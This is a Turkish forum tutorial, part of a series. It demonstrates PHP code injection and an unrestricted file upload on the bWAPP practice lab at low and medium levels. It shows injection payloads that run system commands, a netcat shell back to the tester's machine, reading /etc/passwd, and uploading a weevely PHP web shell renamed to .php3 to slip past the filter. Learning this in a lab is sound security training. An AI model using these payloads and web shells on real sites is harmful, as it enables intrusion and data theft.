Merhaba serinin 4. konusu. PHP Kod enjeksiyonuna bakacağız. Sonda bi kez de medium level göstereceğim bunda. Bu seri de mediuma da çıkacağız lowdan başlayıp.
PHP Kod Enjeksiyonu
Hedef sitede PHP kodları çalıştırabiliyorsak sıkıntı olabilir. Sitenin görmememiz gereken kısımları görebiliriz . Sitenin sunucusundaki çoğu dosyayı görebilir shell açıp bunları download edebiliriz. Veya bir php dosyayı upload ederek yine shell açıp yine aynı şekilde ordaki verileri çalabiliriz. Tehlikeli bir açık denebilir. Bunun mantığı şöyle. Sitede eğer url de php çalıştığını görüyorsanız sizde kendiniz bir kod çalıştırmayı deneyip sitenin bu şekilde görünmeyen tarafına geçip verileri alabilirsiniz. Veya bir resim upload etme ekranında bir php payload ı upload ederek daha sonra onun urlsini alıp terminalden bir shell açıp ordan da verileri çalabilirsiniz. Yapmaya başlayalım. bWAPP i açıp PHP Code İnjection bulup Hack basın.
Açtık. Şuanda burda bir message görüyoruz buna tıklayalım.
Ekrana bir test yazdırdı. URL ye dikkat ederseniz bir php isteği görüyoruz bir php kodu çalışmış url de. Bu burp suite den de bakılabilir şuan kullanmadım. Siz kullanabilirsiniz. O zaman şöyle bir kod çalıştırmayı deneyelim url de.
Kod:
test;system("ls")
Burda diyoruz ki ilk önce test isteğini yazdır daha sonra ; koyduk ikinci koda geçtik dedikki sisteminde ls kodunu çalıştır. Deneyelim.
Bakın mesela çıkan şeylere. Şimdi bunları görmememiz gerekiyor normalde. Admin dosyası varmış bakalım neymiş url de şunu çalıştıralım.
Kod:
test;system("cd admin;ls")
Şimdi burda dedik ki. Sistemde önce admine geçiş yap sonra içini görüntüle. Yaptığımızda.
Bakınız böyle veriler çıktı. Aynı şekilde
Kod:
test;system("whoami")
Yaparak sunucu adını öğreniriz www-dataymış mesela. Şimdi bu açıkla neler yapılabilir. Netcat ile shell açabiliriz o şekilde daha rahat gezinebiliriz böyle url den zor oluyor. Terminali açıyoruz.
Kod:
nc -nvlp 1234
Şuanda bilgisayarımıza gelen 1234 portunu dinliyor. Hedef sitede bu portu çalıştıracağız php enjeksiyon sayesinde.
Kod:
nc 192.168.1.9 1234
192.168.1.9 kısmına kendi İP nizi gireceksiniz. Gerçek bir site olduğunda sitenin url si gibi.
Bunu yaptığımızda terminalde bağlantımız gelecek. Aynı şekilde ordan da bu verileri çalabiliriz. Çalmaktan kasıt görebiliriz.
Kod:
cat /etc/passwd
Bunu göstermeyi unuttum bu kali de de var . Site de bu dizinin kesinlikle görülmemesi gerekiyor bu kod da çalışıyorsa url de sıkıntı. paswwd yerine sh da olabilir. Şimdi ise upload açığına bakalım. bWAPP den Unrestricted File Upload ı bulun en aşşağılarda olacak. Sonra Hack basın.
Burası bir resim ekleme yeri bir resim ekleyelim.
not: png çalışmayabilir jpg ekleyin.
Browse yapıp resmi seçip upload ediyoruz here kısmına basıyoruz.
Resmi çalıştırdı. Bunu bilmemizin anlamı görün diye anlamak için. Şimdi sitede upload açığı varsa php yükleyebiliriz. Payload ı kendiniz de yazabilirsiniz kali de bulunan hazır araçtanda. Terminalden şu kodu yazalım.
Kod:
weevely generate 123456 myweevely.php
Weevely bir php payloadı oluşturmamızı sağlıyor. weevely dedik generate oluştur 123456 şifresi olacak bize soracak. Sonra isim girdik enter yaptığımızda oluşacak.
Oluşturduğunu söyledi. Şimdi upload etme sitesine dönelim bu php dosyamızı upload edelim. O an hangi dizindeyseniz oraya gelir hiç bir dizine geçmediyseniz ev dizinindedir. Upload edip here basalım.
Boş bir sayfa. Ama işin esas olayı php dosyasını resim yerine upload ettik bu olmaması gereken bir şey normalde filtrelemeliler php dosyalarına izin vermemeliler. Aynı şekilde terminalde yine bir kod çalıştırırız shell açarız. Şimdi çıkan bu sayfanın url yi kopyalıyoruz.
Bu kodu terminalde çalıştırıyoruz. Url yi girdik yani bide şifre.
Şimdi bu çok daha pis bir şey. Hem görmememiz gereken şeyleri görüyoruz bunları download da edebiliyoruz. Genelde sitelerde bu açık olmaz ama medium daki olabilir. bWAPP e dönüp aynı açığı medium seçin birde. Terminalde ctrl + c yapın. Yaptıktan sonra yine php dosyasını upload edin.
Eğer medium seçip set dediyseniz ve upload yaptıysanız bu hata çıkar. Bunu aşmanın yolu var. Burda bize php dosyaları istemiyorum demiş ama php3 php5 dosyası fln böyle bir şey bakalım açacak mı. Terminalde şu kodu çalıştıralım.
Kod:
cp myweevely.php myweevely.php3
Bizim php dosyasının içindeki şeyleri kopyalayıp yeni bir şeye yazdırıyor php3 dosyasına. Bunu enter yapıp site de upload etmeyi deneyelim.
Bu sefer çalışacaktır aynı şekilde yine shell açılabilir url yi ve şifreyi girip terminalde weevely ile. Konu bu kadardı umarım yararlı olur iyi forumlar.